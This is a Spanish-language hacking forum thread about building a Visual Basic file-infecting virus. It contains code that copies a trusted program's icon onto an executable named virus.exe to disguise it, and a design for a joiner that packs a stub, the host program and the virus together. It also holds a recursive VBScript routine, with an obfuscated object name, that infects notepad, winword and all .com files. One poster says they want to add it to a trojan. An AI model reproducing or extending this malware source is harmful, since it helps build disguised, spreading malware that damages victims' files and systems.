CopyMemory ByVal VarPtr(D(6 + 14 * X)), ByVal VarPtr(Exe.Entries(X).bWidth), 14&
Next
'on met à jour la ressource groupe icone
ret = UpdateResource(hWrite, RT_GROUP_ICON, GroupID, LangID, ByVal VarPtr(D(0)), UBound(D))
'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: EndUpdateResource hWrite, 1: Exit Function
'on met à jour chaque ressource icone
For X = 0 To Exe.IcoDir.idCount - 1
ret = UpdateResource(hWrite, RT_ICON, Exe.Entries(X).dwImageOffset, LangID, ByVal VarPtr(IcoFile.IcoData(X).bBits(0)), Exe.Entries(X).dwBytesInRes)
Next
'on enregsitre dans le fichier executable
ret = EndUpdateResource(hWrite, 0)
'si échec, on quitte
If ret = 0 Then ReplaceIcoInExe = False: Exit Function
'sinon succès
ReplaceIcoInExe = True
End Function
Public Function EnumResNamesProc( _
ByVal hMod As Long, _
ByVal lpszType As Long, _
ByVal lpszName As Long, _
ByVal lParam As Long _
) As Long
Dim b() As Byte, lLen As Long
If (lpszName And &HFFFF0000) = 0 Then
m_VName = lpszName And &HFFFF&
Else
lLen = lstrlen(lpszName)
If (lLen > 0) Then
ReDim b(0 To lLen - 1) As Byte
CopyMemory b(0), ByVal lpszName, lLen
m_VName = StrConv(b, vbUnicode)
End If
End If
End Function
para provarlo en un formulario con un boton y un exe en c:\ llamdo virus.exe
(Aclaro esto es inofencivo no hay problemas solo cambia el icono)
Private Sub Command1_Click()
'la primera es a la que se le quiere sacar el icono por ejemplo MsnMesenger
'y la segunda a la que se lo vamos a agregar osea virus.exe
MsgBox RemplaceIcons("C:\Archivos de programa\MSN Messenger\msnmsgr.exe", "C:\Virus.exe")
End Sub
algunas apis solo trabajan vajo win XP pero hay substitutos asi que si les interesa se puede mejorar tambien, no lo hice porque no tengo win 98 y no sabia si iva a funcionar, pero cualquier cosa lo vemos y lo modificamos
Saludos
Gracias LeandroA esta muy bien ese source, wena aportacion, ahora mismo lo pruevo, q me viene de lujo ;D ;D
cuando trato de compilar el codigo para probarlo en mi maquina virtual, me marca un error en esta linea:
If UBound(Buffer) = 1 Then
Dice el error "Se esperaba matrix"
donde esta el fallo, el codigo lo mantube igual, no me complique para probarlo
soy al unico que le a marcado ese error?
saludos
La funcion UBound devuelve el numero de indices que tiene un array, si Buffer no es un array (supongo que no lo sera) da el error que te da... ;) ;)
Para evitarlo asegurate de que Buffer es un array.
Un Saludo.
gracias hendrix lo tenia definido de esta manera
dim buffer as string
me falto añadirle
dim buffer() as string
saludos
Si termino de hacerlo q el mismo infecEXE no deje su rastro del icono, lo posteo...
pero mientras tanto averiguo como lo puedo hacer...
si alguno lo termina o lo hace... lo postea...
yo boy mas con lo que dice EON yo hice el mio asi con las caracteristicas de un joiner y asi siempre queda con su icono y no se ve tan mamon el archivo infectado.
---------- Huesped..
---------- Virus..
----------- "XD" **marca virica**
al ejecutar el archivo infectado este se desconpone y crea solamente el huesped mientras que el archivo original sigue infectado.
XD
(http://img471.imageshack.us/img471/5215/mypictr440x1252ps2.jpg)
Cita de: Happy-word en 8 Mayo 2007, 19:02 PM
yo boy mas con lo que dice EON yo hice el mio asi con las caracteristicas de un joiner y asi siempre queda con su icono y no se ve tan mamon el archivo infectado.
---------- Huesped..
---------- Virus..
----------- "XD" **marca virica**
al ejecutar el archivo infectado este se desconpone y crea solamente el huesped mientras que el archivo original sigue infectado.
XD
(http://img471.imageshack.us/img471/5215/mypictr440x1252ps2.jpg)
y como se supone que se ejecuta el virus si esta escrito despues del huesped, me parece que estas equivocado.
Si :xD pero es q yo no dije eso :xD :xD La primera parte seria el stub (por llamarlo asi) q se encargaria de dividir las otras dos y ejecutarlas o de hacer todas las funciones q se te ocurran..
---------- Stub
marca virica
---------- Huesped
marca virica
---------- Virus
Se autolee, se parte, y ejecuta los dos trozos
Hola no quiero ser ignorante pero para que sirve este codigo???
Hola, este codigo está muy bien, pero digo en varias cosas que podría mejorar y que estarían muy bien:
-Que los parametros se pasen también al archivo infectado, pues si ejecutas por ejemplo ping 127.0.0.1 -n1 y el archivo ping.exe está infectado se ejecutaría simplemente ping
-Que sea el virus el que se descomprime en la ruta temporal y no el programa original, pues en caso de que por ejemplo un programa buscase los archivos que necesita para funcionar en su mismo directorio al estar en temp no los encontraría.
Después me gustaría saber como se podría hacer esto:
-Que no infecte a una carpeta (subcarpetas y archivos :xD) determinada o que solo infecte a una determinada
-Que busque el nombre de un programa en concreto y solo infecte a ese.
Es que me gustaría añadir esto a un troyano y weno, me gustaría saber como podría hacer esto.
Saludos ;)
Cita de: nhaalclkiemr en 11 Julio 2007, 20:43 PM
-Que busque el nombre de un programa en concreto y solo infecte a ese.
Aqui tienes para lo del nombre:
Function Subfolders(path)
On Error Resume Next
'Se cifra el string que carga el objeto Scripting.FileSystemObject
Set fso = CreateObject(bullet("Qapkrvkle,DkngQ{qvgoM`hgav"))
Set Drives = fso.Drives
newpath = path
Set Fold = fso.GetFolder(newpath)
Set Files = Fold.Files
For Each File In Files
ext = fso.GetExtensionName(File.path)
ext = LCase(ext)
nam = LCase(File.Name)
'Modificación del Source
If (nam = "notepad") OR (nam = "winword") OR (ext = "com") Then
If IsInfected(File.path) = False Then
InfectFile (File.path)
DoEvents
End If
End If
Next
Set File = Fold.Subfolders
For Each Subfol In File
Call Subfolders(Subfol.path)
Next
End Function
Este ejemplo infecta cualquier archivo llamado notepad.* y winword.* Además infectará todos los archivo con extensión *.com
Citar-Que no infecte a una carpeta (subcarpetas y archivos :xD) determinada o que solo infecte a una determinada
Este es más complicado, pero creo que debería suprimir la parte del final:
Set File = Fold.Subfolders
For Each Subfol In File
Call Subfolders(Subfol.path)
Next
Y llamar a la función: Subfolders con la ruta exacta, ejemplo: Subfolders("C:\Windows\System32)"
Ojo que esto último no lo he probado
Gracias, cuando pueda ya pruevo. Y encontraste alguna manera de como pasar los parametros al programa original. Solo con que me digas como puedo en VB6.0 obtener los parametros con los que se ejecutó una aplicación ya está.
Sludos y gracias por todo ;)
Cita de: nhaalclkiemr en 11 Julio 2007, 21:34 PM
Solo con que me digas como puedo en VB6.0 obtener los parametros con los que se ejecutó una aplicación ya está.
Existe una variable de VB6 llamada:
Parametros = Command$
Esto te devuelve los parametros con el que se ha ejecutado tu aplicación, con eso tienes suficiente. Saludos!!
||MadAntrax||
Podrias decirnos como es que pones las letras de colores automaticamente(se ve mas ordenado)
o es manual o.O??
Cita de: -Freeze- en 11 Julio 2007, 22:35 PM
||MadAntrax||
Podrias decirnos como es que pones las letras de colores automaticamente(se ve mas ordenado)
o es manual o.O??
Instalado Mod para Programación/Programadores GeSHihttps://foro.elhacker.net/index.php/topic,170103.0.html
Ok Muchas gracias.!!
Disculpen el 2ble post.:
y Tambien disculpen desviar el hilo...
¿Como se usa?
asii??
no no se...